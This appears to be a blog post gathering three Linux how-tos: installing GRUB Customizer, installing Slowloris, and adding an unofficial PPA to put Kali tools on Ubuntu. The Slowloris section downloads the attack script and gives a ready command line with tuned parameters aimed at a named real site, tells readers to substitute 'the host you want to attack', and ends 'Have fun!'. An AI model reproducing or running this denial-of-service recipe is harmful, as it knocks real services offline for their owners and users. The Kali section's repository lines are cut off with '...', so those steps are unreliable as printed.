How to install GRUB Customizer for Ubuntu Backtrack Linux

sudo apt-get install python-software-properties (install only if add-apt-repository doesn't work)
sudo add-apt-repository ppa:danielrichter2007/grub-customizer
sudo apt-get update
sudo apt-get install grub-customizer
gksudo grub-customizer

How to install Slowloris on Linux

How to install Slowloris on Linux

Install perl from your packages, you should find it easily. Note that you need ithreads to be enabled (it should be enabled in most the distributions by default; on gentoo you should add the ithreads USE-flag before (re)installing perl).
Then, you need IO/Socket/SSL, that you should find in your packages or searching on the web. In ubuntu, the package is libio-socket-ssl-perl; on gentoo, it's dev-perl/IO-Socket-SSL.
Then, open a terminal/console and type (or copy-paste):

wget http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris
./slowloris.pl -dns gerdab.ir -port 80 -timeout 2000 -num 500 -tcpto 5

You can replace gerbad.ir with the host you want to attack. You can also replace values for timeout and number of sockets (just by changing the last line), but these options should do it. If you want to run Slowloris again, once it has been installed, just run the last line.
Have fun!

Kali Tools In Ubuntu Linux (instructions)

Get root and install Gnome classic Fallback.

http://linuxg.net/how-to-install-gnome-classic-on-ubuntu-13-04-12-10-12-04/

In terminal type : apt-get install gdebi && apt-get install synaptic

When done , Fully update / dist-upgrade to Kernel 3.2.0-40
Reboot and log as root on Gnome classic.
Open with file editor /etc/apt/sources.list and add these lines :

deb http://ppa.launchpad.net/wagungs/kali... precise main
deb-src http://ppa.launchpad.net/wagungs/kali... precise main
deb http://ppa.launchpad.net/wagungs/kali... precise main
deb-src http://ppa.launchpad.net/wagungs/kali... precise main


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: SKS 1.1.4
Comment: Hostname: keyserver.ubuntu.com

mI0ET324YwEEANbSlISrOlAGjxgFRxiN6jk0JIl/­vxQ8lapRdxZ4DHDAQdXbX4AuigMBkP5e
sOxhMpDnkgMRtEVpaBMdQheA0/431pPQYqkr3jde­Zw5JS5opiyJ4qr/QrcoSFHSluEkWkbZ6
RYOkA25vW31KK2FB2LQVRYk580llXAVgIUznm2AT­ABEBAAG0GExhdW5jaHBhZCBQUEEgZm9y
IHdhZ3VuZ4i4BBMBAgAiBQJPfbhjAhsDBgsJCAcD­AgYVCAIJCgsEFgIDAQIeAQIXgAAKCRAb
IuuNj9/bVxabBADSGN8cp+hqkdZqwq263wdz/UGs­iuB1bCrH06/HznC/ZC5rjfH3aQ1Dwwag
zYCrSD3c0cKNAqD10009N76RMlzZBH8kKL9khH3z­PL/k4/lYuVP7y6NKFbBsnawEUc0mWcCa
mH4ScTdWWPXP/mOQiUUjnQ1bZhzpcbQOb+hEUAqE­xg==
=fJ+8
-----END PGP PUBLIC KEY BLOCK-----


Now , open synaptic , go to : settings >>> repositories , In software sources go to : Authentication  Import key file.

Navigate to your Desktop and double clic on the pgp-key txt file.
Close everything and in Terminal : apt-get update && apt-get dist-upgrade.

Now Open Synaptic and clic on ORIGIN tab on the bottom left . You will see repositories links appearing on the top left of Synaptic.
Highlite the 2nd and the 3rd repository line as shown in the video .
Start installing your tools using Synaptic . ( Install 10 tools at the time , if any tool will mark itself in red color, untick it and procee , You can come back to it later on and re-install it, sometime you need some extra dependencies , so some tools will install them for you )